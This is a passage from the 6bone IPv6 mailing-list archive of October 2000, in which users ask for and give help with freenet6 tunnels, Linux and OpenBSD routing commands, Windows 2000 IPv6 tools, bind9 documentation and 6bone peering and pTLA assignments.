>     making one freeshell machine with ipv6 connectivity and it will be ready
>     in monday, so probably we will get some more users...and also NEXTRA is
>     bigges ISP in Slovakia so i think that it's guarantee for enough users
>     existing tunnels of SVSBB will be immediatelly reconnected to new 
> router..
>
>4)  we read rules and agree.. we will test whether routers are working fine
>     before connecting BGPs to world..
>
>so this mail is request for pTLA for NEXTRA, Slovakia
>
>
>
>Sincerely,
>
>Jan Oravec



From 6bone-owner  Thu Oct 12 19:43:12 2000
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Date: Thu, 12 Oct 2000 21:44:11 -0500 (CDT)
From: Aaron Plattner <aaron@Aaron.homeip.net>
To: 6bone@ISI.EDU
Subject: Firewalled tunnel
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Hi.
At my house my dad is using SyGate (a NAT program) running on Windows
2000 (no ipv6 support), while I run Linux.  I was trying to set up a
freenet6 tunnel, but I can't get it to work through SyGate.  Is it even
possible to set up a tunnel through a firewall like this?  (I think SyGate
will only do TCP and UDP).

Thank you,
Aaron Plattner


From 6bone-owner  Fri Oct 13 01:53:18 2000
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From: Daniel Richards <kyhwana@world-net.co.nz>
Reply-To: kyhwana@world-net.co.nz
To: 6bone@ISI.EDU
Subject: Re: Firewalled tunnel
Date: Fri, 13 Oct 2000 21:47:00 +1300
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On Fri, 13 Oct 2000, Aaron Plattner wrote:
> Hi.
> At my house my dad is using SyGate (a NAT program) running on Windows
> 2000 (no ipv6 support), while I run Linux.  I was trying to set up a
> freenet6 tunnel, but I can't get it to work through SyGate.  Is it even
> possible to set up a tunnel through a firewall like this?  (I think SyGate
> will only do TCP and UDP).
Hmm, you have to be able to route/forward ICMP type 41, which is ipv6 icmp
stuff.
It IS doable, at least in linux/freebsd using NAT, but it's no preferrable.
If Sygate can't do ICMP, you're out of luck, maybe you could pick up a cheap
486 and convince your dad to let you use linux/freebsd for NAT ? :)
  -- 
http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
http://shell.world-net.co.nz/~kyhwana/DRpubkey.txt
"'Oh dear,' says God, 'I hadn't thought of that,' and promptly vanishes in a puff of
logic."

From 6bone-owner  Fri Oct 13 06:28:09 2000
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Subject: Re: Firewalled tunnel
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From: "Michael Oliver/Tampa/Contr/AT&T/IJV" <mwoliver@us.ibm.com>
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I have several computers at home behind a cable modem.  The gateway is a
server running Windows 2000 Advanced Server and using a NAT/PAT application
called WinRoute.  I know that WinRoute has the ability to pass traffic of
protocol type 41, but I do not think that SyGate does.  I may be wrong, but
when I was helping a friend of mine set up an IPSec tunnel to our office,
it required us to open protocol 50 on SyGate, and we searched everywhere
for a method to do so.  In the end, we found out that the apprule.cfg file
that sygate uses to allow/disallow traffic could only be configured to
allow TCP/UDP port numbers, not specific protocols.  The IPSec support
within SyGate is built in to the application, therefore not configurable.
Note that I am not an expert on SyGate, but support for protocol 41 may be
built in as well, or they may have a new version that allows this
configuration now.

Aaron,  since your Dad is using Win2K, have you talked to him about
downloading the IPv6 kit from MSDN?  The new kit allows you to set up a
tunnel through Microsoft lickety-split, no prob.  In my environment, I have
the IPv6 kit installed on several Win2k Pro clients, as well as the AdvSrv
that is the gateway (WinRoute).  On the gateway, all I have to do is go to
the command line, enter the command "6to4cfg.exe -r -s" and my whole LAN
then has connectivity to the 6BONE.  Let me know how it goes, ok?

Michael W. Oliver
oliver.michael@gargantuan.com (home)
mwoliver@att.com (work)






Daniel Richards <kyhwana@world-net.co.nz>@ISI.EDU on 10/13/2000 05:47:00 PM

Please respond to kyhwana@world-net.co.nz

Sent by:  owner-6bone@ISI.EDU


To:   6bone@ISI.EDU
cc:
Subject:  Re: Firewalled tunnel



On Fri, 13 Oct 2000, Aaron Plattner wrote:
> Hi.
> At my house my dad is using SyGate (a NAT program) running on Windows
> 2000 (no ipv6 support), while I run Linux.  I was trying to set up a
> freenet6 tunnel, but I can't get it to work through SyGate.  Is it even
> possible to set up a tunnel through a firewall like this?  (I think
SyGate
> will only do TCP and UDP).
Hmm, you have to be able to route/forward ICMP type 41, which is ipv6 icmp
stuff.
It IS doable, at least in linux/freebsd using NAT, but it's no preferrable.
If Sygate can't do ICMP, you're out of luck, maybe you could pick up a
cheap
486 and convince your dad to let you use linux/freebsd for NAT ? :)
  --
http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
http://shell.world-net.co.nz/~kyhwana/DRpubkey.txt
"'Oh dear,' says God, 'I hadn't thought of that,' and promptly vanishes in
a puff of
logic."



From 6bone-owner  Fri Oct 13 12:09:23 2000
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: "6bone mail list" <6bone@ISI.EDU>
Subject: Protocol Analysers for Win2K/v6
Date: Fri, 13 Oct 2000 20:07:57 +0100
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A few days ago I asked for help in locating such a beast.  As usual, a
number of colleagues from the list pointed me at various products - many
thanks for taking the time to reply.

As I suspect that this either is, or will be soon, an FAQ - I thought I
should summarise the answer to the list so that anybody who needs this info
in the future can dig it out of the archive.  So here goes.....

Question:  Is there a protocol analyser package for Windows 2000 that can
interpret IPv6 packets?

Answer:  Yes, there are a number......

1.  Microsoft have an updated version of their Network Monitor application
that handles all IPv6 headers that I have shown it (that is most, but does
not include any MIPv6 stuff).  This is commercial software, but a demo
version is available for download that expires after 90 days.  The updated
version is available from:
ftp://ftp.microsoft.com/transfer/outgoing/bussys/winnt/netmon2.zip The
password for the .zip file is "capture".
<Thanks Richard Draves from Microsoft>

2. Wild Packets (formerly AG Group) have a product called EtherPeek.  This
runs under Windows 2000 and handles a subset of IPv6 packets - frustratingly
it does not seem to recognise IPsec over v4 or v6.  A demo version is
available for download, the full product retails for $995.
http://www.wildpackets.com/products/Etherpeek.html
<Thanks Ian Macdonald from Bespoke IT>

3.  The freeware Ethereal analyser now runs under Windows 2000.  This is a
pretty good package if you just want to see the traffic and look at packets
to see what is going on.  It does not have any sophisticated reporting tools
like the commercial products.  It seems to handle all the IPv6 traffic I
have shown it.
http://www.ethereal.com
<Thanks Itojun, Louis Zuckerman, James Brown>

4.  The Agilent network analyser (from Agilent, a part of HP) claims support
for IPv6.  This goes no further than recognising a v6-over-Ethernet packet,
decoding the basic v6 header and thats about it.  I am informed by Agilent
that the production version has more complete support (I was using a
demo/Beta version).
http://www.agilent.com

Cheers

Peter Curran
TICL





From 6bone-owner  Sat Oct 14 05:08:30 2000
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From: "Joris Dobbelsteen" <joris.dobbelsteen@mail.com>
To: "6Bone (E-mail)" <6Bone@ISI.EDU>
Subject: IPv6 (and IPv4 routing)
Date: Sat, 14 Oct 2000 14:10:18 +0200
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6Bone WG,

Does anyone have some software for IPv6 that works over a dial-up line? Microsoft doesn't support this yet...
I hope this is free software and not commercial software that you need to buy or expires....



This is regarding IPv4 routing:
Another question is how to setup routing on a W2K Adv Svr.
Currently RRAS is configured for VPN and routing on the LAN (2 network adapters).
How can I configure routing (NAT) to a demand-dial line, with ONE limitation:
* The modem may NOT RESPOND to incoming calls....

And I have a DNS server that works fine. Maybe that ICS may work??? But without the IP address 192.168.0.1 (192.168.10.13 instead)...


Thanks,

- Joris Dobbelsteen


From 6bone-owner  Sat Oct 14 15:46:08 2000
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From: Daniel Richards <kyhwana@world-net.co.nz>
Reply-To: kyhwana@world-net.co.nz
To: "6Bone " <6Bone@ISI.EDU>
Subject: Re: IPv6 (and IPv4 routing)
Date: Sun, 15 Oct 2000 11:39:48 +1300
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On Sun, 15 Oct 2000, you wrote:
> 6Bone WG,
> 
> Does anyone have some software for IPv6 that works over a dial-up line? Microsoft doesn't support this yet...
> I hope this is free software and not commercial software that you need to buy or expires....
Ahhh..
Again, FreeBSD (and probably openBSD) and Linux support IPv6 and you can get
all sorts of clients/servers that work with IPv6, for freee. (beer and speech)
And yes, you can do IPv6 over IPv4 in all three OS's, I have FreeBSD working
with freenet6


-- 
http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
http://shell.world-net.co.nz/~kyhwana/DRpubkey.txt
"'Oh dear,' says God, 'I hadn't thought of that,' and promptly vanishes in a puff of
logic."

From 6bone-owner  Mon Oct 16 02:43:48 2000
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From: "Joris Dobbelsteen" <joris.dobbelsteen@mail.com>
To: "6Bone (E-mail)" <6Bone@ISI.EDU>
Subject: RE: IPv6 (and IPv4 routing)
Date: Mon, 16 Oct 2000 11:42:22 +0200
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............

Forget to mention that I meant Windows 2000 and NOT a Linux-/Unix-based system.

Wow, was that a mistake, I get mail about xBSD and Linux.....

That's why Microsoft was mentioned in my mail and not someone else....

- Joris

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
> Daniel Richards
> Sent: Sunday, 15 October 2000 0:40
> To: 6Bone 
> Subject: Re: IPv6 (and IPv4 routing)
> 
> 

My part...
> On Sun, 15 Oct 2000, you wrote:
> > 6Bone WG,
> > 
> > Does anyone have some software for IPv6 that works over a 
> dial-up line? Microsoft doesn't support this yet...
> > I hope this is free software and not commercial software 
> that you need to buy or expires....
============

> Ahhh..
> Again, FreeBSD (and probably openBSD) and Linux support IPv6 
> and you can get
> all sorts of clients/servers that work with IPv6, for freee. 
> (beer and speech)
> And yes, you can do IPv6 over IPv4 in all three OS's, I have 
> FreeBSD working
> with freenet6
> 
> 
> -- 
> http://shell.world-net.co.nz/~kyhwana/decss/ - Kyh's DeCSS stuff
> http://shell.world-net.co.nz/~kyhwana/DRpubkey.txt
> "'Oh dear,' says God, 'I hadn't thought of that,' and 
> promptly vanishes in a puff of
> logic."
> 


From 6bone-owner  Mon Oct 16 03:19:02 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'Kontogianni Vicky'" <kontogia@cti.gr>
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Subject: RE: Squid on Solaris2.8
Date: Mon, 16 Oct 2000 18:10:05 +0800
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Hi, 	
I a question about IPv6 Allocation.  

1.	I know RIR will offer Sub-TLA in the bootstrap phase, is this policy
Temporal operated, but when the RIR will offer TLA  address to the ISP? I am
confusing with Sub-TLA and TLA,  could someone give me idea?
	 

	KEITH 





From 6bone-owner  Mon Oct 16 09:36:35 2000
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Date: Mon, 16 Oct 2000 09:36:04 -0700 (PDT)
From: Jason Martin <jhmartin@mail.com>
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To: 6bone@ISI.EDU
Subject: Re: v6 trouble
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> > Hi!
> > I'm having some trouble setting up and v6 tunnel against freenet6,
> > I'm running Linux (debian)... If anyone have some ideas/hints, let me hear
> > it =)
> 
> Hmmm...when "forwarding" is on, Linux ignore default route(::/0)
> It means Linux using as a router must have full route!! ;-(
> So, you'll need to input following commands...
This isn't really true, is it? At least, for ipv4 I can use a default
route w/o having a 'full' route table. Has this changed for v6?

Thanks,
- -Jason Martin


> 
> # ifconfig sit0 up
> # ifconfig eth0 add 3ffe:b00:c18:1fff:0:0:0:139
> # ifconfig sit0 tunnel ::206.123.31.102
> # ifconfig sit1 up
> # route -A inet6 add 3ffe::0/16 gw fe80::206.123.31.102 dev sit1
> # route -A inet6 add 3ffe::0/16 gw ::206.123.31.102 dev sit0
> # route -A inet6 add 2000::0/12 gw fe80::206.123.31.102 dev sit1
> # route -A inet6 add 2000::0/12 gw ::206.123.31.102 dev sit0

- -- 
Kamikaze Pilot Wanted: Experienced only need apply.
PGP KeyID=0x60FD6DDA
PGP Fingerprint:06 A4 24 E6 EC E2 E2 DE 68 74 1B 0E 9D 8F 27 92 60 FD 6D DA
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE56y5+nY8nkmD9bdoRAhyoAKDH/Km66DUQN05faEVqTNiu5MixoACgmsPl
3KjroBmZPH0CrR0dcm26IDA=
=Nwbg
-----END PGP SIGNATURE-----


From 6bone-owner  Mon Oct 16 15:19:55 2000
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Date: Mon, 16 Oct 2000 15:19:50 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:80D0::/28 assigned to MIMOS-MY
Cc: ipv6-support@mimos.my, Raja Azlina Raja Mahmood <ina@mimos.my>,
        Bill Manning <bmanning@ISI.EDU>
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The 2-week pTLA review period for MIMOS-MY has passed with no negative 
comments, so I have assigned them 3FFE:80D0::/28.

<http://whois.6bone.net/cgi-bin/whois?mimos-my>

It will be a short while until they setup their inet6num object. Please 
help them as appropriate for peering and reverse DNS entry.


Thanks,

Bob


From 6bone-owner  Mon Oct 16 16:09:45 2000
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Date: Mon, 16 Oct 2000 18:09:40 -0500
From: Chris Kennedy <ckennedy@GROOVY.ORG>
To: Jason Martin <jhmartin@mail.com>
Cc: 6bone@ISI.EDU
Subject: Re: v6 trouble
Message-ID: <20001016180940.A632@GROOVY.ORG>
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On Mon, Oct 16, 2000 at 09:36:04AM -0700, Jason Martin wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> > > Hi!
> > > I'm having some trouble setting up and v6 tunnel against freenet6,
> > > I'm running Linux (debian)... If anyone have some ideas/hints, let me hear
> > > it =)
> > 
> > Hmmm...when "forwarding" is on, Linux ignore default route(::/0)
> > It means Linux using as a router must have full route!! ;-(
> > So, you'll need to input following commands...
> This isn't really true, is it? At least, for ipv4 I can use a default
> route w/o having a 'full' route table. Has this changed for v6?
> 
> Thanks,
> - -Jason Martin
> 

I had to setup the routes for a tunnel server this way, for 
routing ipv6 out to the 6bone through the tunnel server from the 
tunnel endpoints.  they were able to have local ipv6 network access 
fine but out past the main ipv6 gateway to the 6bone they would not 
be able to access anything.  I just discovered that adding specific 
routes for a prefix would allow the endpoints to access the 6bone.  
I think it is a bug in the Linux kernel, but didn't have the time 
to dig into the problem anymore than geting it to work for that server.
It seemed like the server forwarding the ipv6 packets would treat those
forwarded packets with another routing table that didn't include the 
default as an option like the locally generated packets have, so you 
had to add those specific prefixes to give those packets the route.

Thanks,
Chris K

-- 
Chris Kennedy / ckennedy@iland.net / (660) 829-4638x117
I-Land Internet Services / Network Operations Center
              \|/ ____ \|/
              "@'/ .. \`@"
              /_| \__/ |_\
                 \__U_/
-Linux SPARC Kernel Oops
> 
> > 
> > # ifconfig sit0 up
> > # ifconfig eth0 add 3ffe:b00:c18:1fff:0:0:0:139
> > # ifconfig sit0 tunnel ::206.123.31.102
> > # ifconfig sit1 up
> > # route -A inet6 add 3ffe::0/16 gw fe80::206.123.31.102 dev sit1
> > # route -A inet6 add 3ffe::0/16 gw ::206.123.31.102 dev sit0
> > # route -A inet6 add 2000::0/12 gw fe80::206.123.31.102 dev sit1
> > # route -A inet6 add 2000::0/12 gw ::206.123.31.102 dev sit0
> 
> - -- 
> Kamikaze Pilot Wanted: Experienced only need apply.
> PGP KeyID=0x60FD6DDA
> PGP Fingerprint:06 A4 24 E6 EC E2 E2 DE 68 74 1B 0E 9D 8F 27 92 60 FD 6D DA
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.1 (GNU/Linux)
> Comment: For info see http://www.gnupg.org
> 
> iD8DBQE56y5+nY8nkmD9bdoRAhyoAKDH/Km66DUQN05faEVqTNiu5MixoACgmsPl
> 3KjroBmZPH0CrR0dcm26IDA=
> =Nwbg
> -----END PGP SIGNATURE-----
> 


From 6bone-owner  Mon Oct 16 17:38:06 2000
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Date: Tue, 17 Oct 2000 09:38:11 +0900
From: KUNITAKE Koichi <kunitake@tyo.mind.co.jp>
To: Jason Martin <jhmartin@mail.com>
Cc: 6bone@ISI.EDU
Subject: Re: v6 trouble
In-Reply-To: <Pine.LNX.4.21.0010160934280.24779-100000@bifrost>
References: <39E59B9A118.BE0BKUNITAKE@172.31.18.181> <Pine.LNX.4.21.0010160934280.24779-100000@bifrost>
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On Mon, 16 Oct 2000 09:36:04 -0700 (PDT)
Jason Martin <jhmartin@mail.com> wrote:

> > > Hi!
> > > I'm having some trouble setting up and v6 tunnel against freenet6,
> > > I'm running Linux (debian)... If anyone have some ideas/hints, let me hear
> > > it =)
> > 
> > Hmmm...when "forwarding" is on, Linux ignore default route(::/0)
> > It means Linux using as a router must have full route!! ;-(
> > So, you'll need to input following commands...
> This isn't really true, is it? At least, for ipv4 I can use a default
> route w/o having a 'full' route table. Has this changed for v6?

  Yes, this specification have been changed for IPv6 (only when Linux
is used as a router). We can use a default route(0.0.0.0/0) for IPv4
both as a host and as a router :-)

Regard,

---------------------------------------------
MITSUBISHI ELECTRIC INFORMATION
NETWORK CORPORATION
KUNITAKE Koichi <kunitake@tyo.mind.co.jp>
---------------------------------------------

From 6bone-owner  Mon Oct 16 19:04:27 2000
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To: Chris Kennedy <ckennedy@GROOVY.ORG>
CC: Jason Martin <jhmartin@mail.com>, 6bone@ISI.EDU
Subject: Re: v6 trouble
References: <39E59B9A118.BE0BKUNITAKE@172.31.18.181> <Pine.LNX.4.21.0010160934280.24779-100000@bifrost> <20001016180940.A632@GROOVY.ORG>
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Chris Kennedy wrote:

> On Mon, Oct 16, 2000 at 09:36:04AM -0700, Jason Martin wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > > > Hi!
> > > > I'm having some trouble setting up and v6 tunnel against freenet6,
> > > > I'm running Linux (debian)... If anyone have some ideas/hints, let me hear
> > > > it =)
> > >
> > > Hmmm...when "forwarding" is on, Linux ignore default route(::/0)
> > > It means Linux using as a router must have full route!! ;-(
> > > So, you'll need to input following commands...
> > This isn't really true, is it? At least, for ipv4 I can use a default
> > route w/o having a 'full' route table. Has this changed for v6?
> >
> > Thanks,
> > - -Jason Martin
> >
>
> I had to setup the routes for a tunnel server this way, for
> routing ipv6 out to the 6bone through the tunnel server from the
> tunnel endpoints.  they were able to have local ipv6 network access
> fine but out past the main ipv6 gateway to the 6bone they would not
> be able to access anything.  I just discovered that adding specific
> routes for a prefix would allow the endpoints to access the 6bone.
> I think it is a bug in the Linux kernel, but didn't have the time
> to dig into the problem anymore than geting it to work for that server.
> It seemed like the server forwarding the ipv6 packets would treat those
> forwarded packets with another routing table that didn't include the
> default as an option like the locally generated packets have, so you
> had to add those specific prefixes to give those packets the route.
>

Alexey's take on this is that the default route does not exist when _forwarding_
ipv6 packets. It's only checked when originating them. I felt it was a bug, and
queried him. He told me it was intentionally that way.

D



From 6bone-owner  Mon Oct 16 22:56:35 2000
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Date: Tue, 17 Oct 2000 01:55:15 -0400 (EDT)
From: Jeff Workman <jworkman@pimpworks.org>
To: 6bone@ISI.EDU
Subject: Trouble connecting to freenet6 with OpenBSD
Message-ID: <Pine.BSO.4.21.0010170138560.18720-100000@pinto.pimpworks.org>
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All,

OK, after a week of fiddling with this, I am finally going to admit defeat
and ask you guys for help.  I am trying to connect to freenet6 with an
OpenBSD 2.7 machine.  Using the script generated on their web page does
not work for me and I have tried modifying it to no avail.

Here's what I'm doing:

# ifconfig gif0 12.20.153.71 206.123.31.102
# ifconfig gif0 inet6 3ffe:b00:c18:1fff:0:0:0:521 \ 
  3ffe:b00:c18:1fff:0:0:0:520 prefixlen 127

This statement produces an error about: 

ifconfig: SIOCDIFADDR: Address family not supported by protocol family

but...the interface still configures...I think..

# route add -inet6 default 3ffe:b00:c18:1fff:0:0:0:521

The above statement doesn't make a lot of sense to *me*, because it looks
like I'm trying to make the local host the default gateway!  But then
again, I'm pretty ignorant about ipv6, which is why I'm conducting this
experiment to begin with.  Anyhow, back to the shell....

# ping6 3ffe:b00:c18:1fff:0:0:0:520
PING6(56=40+8+8 bytes) pimpworks.us.freenet6.net -->
3ffe:b00:c18:1fff::520
16 bytes from 3ffe:b00:c18:1fff::520, icmp_seq=0 hlim=64 time=69.098 ms
16 bytes from 3ffe:b00:c18:1fff::520, icmp_seq=1 hlim=64 time=64.858 ms
16 bytes from 3ffe:b00:c18:1fff::520, icmp_seq=2 hlim=64 time=64.571 ms
^C

Well, that worked, but...let's try going somewhere else...

# traceroute6 altavista.ipv6.digital.com
traceroute to altavista.ipv6.digital.com (3ffe:1200:2001:1:8000::1), 30
hops max, 12 byte packets
 1  3ffe:b00:c18:1fff::4f0  64.827 ms  65.925 ms  65.138 ms
 2  * * *
 3  * * *
 4  * * *
^C

Nope, that didn't work...and neither does anywhere else.  

So, can somebody tell me what I am doing wrong?

TIA,
Jeff


 -- 
"For competitive reasons we can't tell you the location of our fiber."
	-- An anonymous representative of a very large telco
"For competitive reasons we can't tell you the location of our backhoe."
	-- An anonymous representative of a contractor.


From 6bone-owner  Tue Oct 17 02:59:10 2000
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How are you?

I'm using the Solaris8 box.
I hope to make a DNSv6 server using bind9.
Will you send me where I can get the documents
of bind9?

Thank you.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Tue Oct 17 03:29:41 2000
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Date: Tue, 17 Oct 2000 11:29:37 +0100
From: John Wright <john@dryfish.org>
To: 6bone@ISI.EDU
Subject: Re: Trouble connecting to freenet6 with OpenBSD
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In-Reply-To: <Pine.BSO.4.21.0010170138560.18720-100000@pinto.pimpworks.org>; from jworkman@pimpworks.org on Tue, Oct 17, 2000 at 01:55:15AM -0400
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On Tue, Oct 17, 2000 at 01:55:15AM -0400, Jeff Workman wrote:
>  [...]
> 
> Here's what I'm doing:
> 
> # ifconfig gif0 12.20.153.71 206.123.31.102

firstly, this should be ifconfig gif0 giftunnel 12.20....

> # ifconfig gif0 inet6 3ffe:b00:c18:1fff:0:0:0:521 \ 
>   3ffe:b00:c18:1fff:0:0:0:520 prefixlen 127
> 
> This statement produces an error about: 
> 
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family

I usually ignore that one.

> but...the interface still configures...I think..
> 
> [...]
>
> # traceroute6 altavista.ipv6.digital.com
> traceroute to altavista.ipv6.digital.com (3ffe:1200:2001:1:8000::1), 30
> hops max, 12 byte packets
>  1  3ffe:b00:c18:1fff::4f0  64.827 ms  65.925 ms  65.138 ms
>  2  * * *
>  3  * * *
>  4  * * *
> ^C

I found that the connectivity from freenet6 was a bit poor but I was always
able to get to www.6bone.net, try that.

From 6bone-owner  Tue Oct 17 04:10:43 2000
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Date: Tue, 17 Oct 2000 13:05:05 +0200 (MET DST)
From: Gianluca Capitani <capitani@sun1.spfo.unibo.it>
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To: 6bone@ISI.EDU, ksbn@kt.co.kr
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Hi,
bind9 and documents are available at:
http://www.isc.org/products/BIND/bind9.html
and Administrator reference Manual in pdf format at:
http://www.nominum.com/resources/documentation/index.html
Hope this help you.
                  Best Regards,     Gianluca Capitani

> How are you?
> 
> I'm using the Solaris8 box.
> I hope to make a DNSv6 server using bind9.
> Will you send me where I can get the documents
> of bind9?
> 
> Thank you.
> 
> 
> 

From 6bone-owner  Tue Oct 17 07:17:08 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: How about Flow Label
To: 6bone@ISI.EDU
Date: Tue, 17 Oct 2000 22:11:08 +0800 (CST)
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Hi, all
  I noticed the Flow Label field in IPv6 header has been changed from 24 bits
to 20 bits in RFC 2460. Is the purpose is only to leave TC field as 8-bit DSCP?
Has any of RFC and draft proposed its usage?
  Has any of us began to think about using the 20 bit flow label? I mean, 
should we only use the 20 bits to identify flows, or should we use it to 
provide more QoS mechanism, such as adaptive mapping and adaptive service
in multicast? I am doing some survey on this, and wish to get help from 6BONE
friends. Thanks to all of you.
  Best
                     Haisang from CERNET

From 6bone-owner  Tue Oct 17 07:22:48 2000
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Date: Tue, 17 Oct 2000 14:55:21 +0100
Subject: Security models from Telcos in IPV6 implementations?
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Memo from Hasan Ali of PricewaterhouseCoopers

-------------------- Start of message text --------------------

Hi All,

A point for discussion, possibly.

I've heard a statement that telcos may "tie in" potential users of their IPV6
services, by using unique security models.  This has been suggested as a reason
for IPV6 adoption becoming less likely.

This seems very much in conflict with the core benefits - both in business and
other terms - of the internet, and I suspect the argument has key weakesses in
that the most likely analogy would be with a VPN service.  So what would
actually happen is the equivalent of a secure connection service that can
connect to any point that's part of the underlying internet, but with a
proprietary client software requirement.

In other words, I don't think that this is an issue that makes the eventual
deployment of IPV6 less likely.

However what do the other readers on this list think?  Are there any
showstoppers of this kind, or is the view that - eventually - an IPV6 future is
inevitable?

How certain are we all that IPV6 must happen?

Regards,

Hasan

--------------------- End of message text --------------------

The principal place of business of PricewaterhouseCoopers and its associate
partnerships is 1 Embankment Place, London WC2N 6NN where lists of the
partners' names are available for inspection. All partners in the associate
partnerships are authorised to conduct business as agents of, and all
contracts for services to clients are with, PricewaterhouseCoopers. The UK
firm of PricewaterhouseCoopers is authorised by the Institute of Chartered
Accountants in England and Wales to carry on investment business.
PricewaterhouseCoopers is a member of the world-wide
PricewaterhouseCoopers organisation.
----------------------------------------------------------------
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it is addressed and may contain confidential and/or privileged material.  Any
review, retransmission, dissemination or other use of, or taking of any action
in reliance upon, this information by persons or entities other than the
intended recipient is prohibited.   If you received this in error, please
contact the sender and delete the material from any computer.



From 6bone-owner  Tue Oct 17 08:54:23 2000
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From: "Christian Edward Gruber" <christian.edward.gruber@gmx.net>
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References: <Pine.BSO.4.21.0010170138560.18720-100000@pinto.pimpworks.org> <20001017112937.B19059@dryfish.org>
Subject: Re: Trouble connecting to freenet6 with OpenBSD
Date: Tue, 17 Oct 2000 11:56:04 -0400
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I just had this same problem yesterday, and fixed it by making:

cat > /etc/hostname.gif0
up giftunnel <src> <dest>
up inet6 <src-ipv6> <dest-ipv6>
EOF

Then adding route add blah blah to rc.local

Don't forget to set /etc/sysctl.conf to have:
net.inet6.ip6.forward=1

It didn't work until I rebooted (artifacts from futzing around) but now it works and I can traceroute6 stuff.

NOW my problem is DNS. ;)

regards,
Christian.

----- Original Message ----- 
From: "John Wright" <john@dryfish.org>
To: <6bone@ISI.EDU>
Sent: Tuesday, October 17, 2000 6:29 AM
Subject: Re: Trouble connecting to freenet6 with OpenBSD


> On Tue, Oct 17, 2000 at 01:55:15AM -0400, Jeff Workman wrote:
> >  [...]
> > 
> > Here's what I'm doing:
> > 
> > # ifconfig gif0 12.20.153.71 206.123.31.102
> 
> firstly, this should be ifconfig gif0 giftunnel 12.20....
> 
> > # ifconfig gif0 inet6 3ffe:b00:c18:1fff:0:0:0:521 \ 
> >   3ffe:b00:c18:1fff:0:0:0:520 prefixlen 127
> > 
> > This statement produces an error about: 
> > 
> > ifconfig: SIOCDIFADDR: Address family not supported by protocol family
> 
> I usually ignore that one.
> 
> > but...the interface still configures...I think..
> > 
> > [...]
> >
> > # traceroute6 altavista.ipv6.digital.com
> > traceroute to altavista.ipv6.digital.com (3ffe:1200:2001:1:8000::1), 30
> > hops max, 12 byte packets
> >  1  3ffe:b00:c18:1fff::4f0  64.827 ms  65.925 ms  65.138 ms
> >  2  * * *
> >  3  * * *
> >  4  * * *
> > ^C
> 
> I found that the connectivity from freenet6 was a bit poor but I was always
> able to get to www.6bone.net, try that.
> 


From 6bone-owner  Tue Oct 17 16:23:46 2000
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Date: Tue, 17 Oct 2000 13:23:45 -1000
From: Brian Russo <brusso@phys.hawaii.edu>
To: hasan.ali@uk.pwcglobal.com
Cc: 6bone@ISI.EDU
Subject: Re: Security models from Telcos in IPV6 implementations?
Message-ID: <20001017132345.B31581@uhhepr.phys.hawaii.edu>
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On Tue, Oct 17, 2000 at 02:55:21PM +0100, hasan.ali@uk.pwcglobal.com wrote:
> Hi All,
> 
> A point for discussion, possibly.
> 
> I've heard a statement that telcos may "tie in" potential users of their IPV6
> services, by using unique security models.  This has been suggested as a reason
> for IPV6 adoption becoming less likely.

any chance you could elaborate on this statement.
provide a URL? which telcos? etc..

more info would be helpful/prudent if you really wish intelligent discussion
to result

thanks
 - brianr
-- 
+------------------------------------------------------------------------------
| Brian Russo   <brusso@phys.hawaii.edu>   (808) 957 2333
| University of Hawaii High Energy Physics Group
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From 6bone-owner  Fri Oct 20 18:09:55 2000
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From: Paul Jakma <paul@clubi.ie>
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To: 6bone@ISI.EDU
Subject: initial peer request: preferably INEX, EI.
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hi,

I'm looking for someone to tunnel to for 6bone access.

It's for my little home network: dial-up with a static IP
(hibernia.clubi.ie), usually online for a couple of hours every
evening. private v4 addresses internally. I'm looking to experiment
with and get used to ipv6, with a view to rolling out a small test
ipv6 network at work sometime in the future months.

preferred peers: 

- anyone on INEX (irish ISP peering point), or within a hop or so
  from it.
or

- anyone on JANET.

or

- anyone.. :)

regards,
-- 
Paul Jakma	paul@clubi.ie
PGP5 key: http://www.clubi.ie/jakma/publickey.txt
-------------------------------------------
Fortune:
Those who claim the dead never return to life haven't ever been around
here at quitting time.


From 6bone-owner  Sat Oct 21 06:07:52 2000
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From: David Taylor <davidt@xfiles.nildram.co.uk>
To: 6bone@ISI.EDU
Subject: 6bone peer request
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After trying to find a peer, and being unsucessful, I thought I'd ask here.

I have a static IP, and a flatrate dialup connection, so I'm on almost 24/7,
and would like to be connected to the 6bone so I can get to know the
technology, which will hopefully be being used on the internet sometime in
the future :)

Anyone who is close (hop wise) to UUNET would be nice, although anywhere in
England would probably be fine, as I'm only on a dialup..

--=20
David Taylor
davidt@yadt.co.uk

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From 6bone-owner  Sat Oct 21 12:35:11 2000
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From: David Taylor <davidt@xfiles.nildram.co.uk>
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On Sat, 21 Oct 2000, David Taylor wrote:
>=20
> Anyone who is close (hop wise) to UUNET would be nice, although anywhere =
in
> England would probably be fine, as I'm only on a dialup..
>=20

Oops.  I was referring to UUNET UK, whom I've already asked.  They won't
give me a tunnel because I'm only a dialup (which I can understand).  I'm
looking for a endpoint somewhere in the UK...

I'd prefer to avoid routing all my 6bone traffic transatlantically, if at
all possible.  However, if I can't find anyone, I suppose it isn't possible
:)

--=20
David Taylor
davidt@yadt.co.uk

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From 6bone-owner  Sun Oct 22 20:12:45 2000
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From: ksb <ksbn@kt.co.kr>
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Organization: Korea Telecom
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How are you.

Tim Chown wrote:

> The /35 allocation is an initial allocation to the provider; the "real"
> allocation is a /29, which you can grow into.  A number of people have
